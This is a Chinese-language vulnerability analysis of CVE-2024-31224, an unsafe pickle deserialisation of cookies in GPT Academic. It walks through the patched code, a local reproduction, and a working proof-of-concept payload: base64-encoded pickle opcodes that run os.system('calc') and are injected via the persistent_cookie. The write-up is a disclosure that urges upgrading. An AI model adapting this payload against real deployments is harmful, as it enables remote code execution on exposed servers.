CVE-2024-31224 RCE 利用分析
0.前言
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。
1.漏洞介绍
日常网上冲浪,突然粗看以为是有关Chat-GPT
的CVE披露出来了,但是仔细一看原来是GPT Academic
的漏洞。漏洞描述大致如下:(如果有自己搭建了还没更新的速速修复升级防止被人利用,修复好的版本已经出来了)
GPT Academic提供了大型语言模型的交互界面。在gpt_academic版本3.64至3.73中发现了一个漏洞。服务器从客户端反序列化不可信数据,可能存在远程代码执行风险。任何将GPT Academic服务暴露在互联网上的设备都存在漏洞。版本3.74包含了此问题的补丁。除了升级到修补版本之外,没有已知的解决方法。
2.漏洞分析前置知识
参考这两位大神写的Pickle 反序列化
,我这里就不赘述了。
3.漏洞分析具体流程
https://avd.aliyun.com/detail?id=AVD-2024-31224
通过阿里云漏洞库整理的参考链接其实较好分析漏洞点出在哪里:
https://github.com/binary-husky/gpt_academic/commit/8af6c0cab6d96f5c4520bec85b24802e6e823f35
我们去查看项目具体的补丁,我们可以看到问题是出在themes/theme.py
中的代码:
"""
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
第 2 部分
cookie相关工具函数
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
"""
def init_cookie(cookies, chatbot):
cookies.update({"uuid": uuid.uuid4()})
return cookies
def to_cookie_str(d):
pickled_dict = pickle.dumps(d)
cookie_value = base64.b64encode(pickled_dict).decode("utf-8")
return cookie_value
def from_cookie_str(c):
pickled_dict = base64.b64decode(c.encode("utf-8"))
return pickle.loads(pickled_dict)
这里使用了不安全的Pickle
,重点关注from_cookie_str
函数,如果该函数参数可控的话,我们就可以直接实现RCE了。
查看调用,我们发现在main.py
的214行和226行都调用了该函数,具体跟进查看一下:
由最上面的逻辑我们看到是调用的模块是在自定义功能区按钮这里,然后from_cookie_str
函数的参数是persistent_cookie_
,我们发现这个persistent_cookie_
应该就是用户直接指定的,为了验证猜想我们去黑盒测试一下。
这里我们在本地直接搭建了,搭建流程挺方便的不多赘述,这个项目已经实现了一键搭建的功能,大家想要本地复现的话直接下载存在漏洞的版本:https://github.com/binary-husky/gpt_academic/releases/tag/version3.70 ,具体搭建方式请参考项目主页 https://github.com/binary-husky/gpt_academic/blob/master/README.md
搭建好的效果如下:
首先查看一下此时我们是不存在Cookie的:
我们在左上界面外观找到自定义菜单:
然后随便输入自定义个按钮,之后发现我们现在有了Cookie,而且就是persistent_cookie
的形式,加上审计了代码后,我们发现项目完全没有对persistent_cookie
进行任何过滤措施,所以我们可以自定义persistent_cookie
的值通过利用Pickle
反序列化漏洞从而实现RCE。
我们直接仿照源码写出我们的payload,由于这是本地复现,我就弹计算器进行验证:
import base64
import pickle
def from_cookie_str(c):
# Decode the base64-encoded string and unpickle it into a dictionary
pickled_dict = base64.b64decode(c.encode("utf-8"))
return pickle.loads(pickled_dict)
opcode=b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)
得到payload为Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4=
现在我们直接将Cookie替换为payload后,然后再次点击自定义按钮中的确认并保存或加载并保存
按钮即可实现RCE:
4. 总结
gpt_academic
在Github上有54.2k
Stars,在Fofa上搜到了2k多条资产,影响面还是不小。作者已经修复了安全问题,如果有在使用的小伙伴,请早日更新修复:https://github.com/binary-husky/gpt_academic/releases/tag/version3.74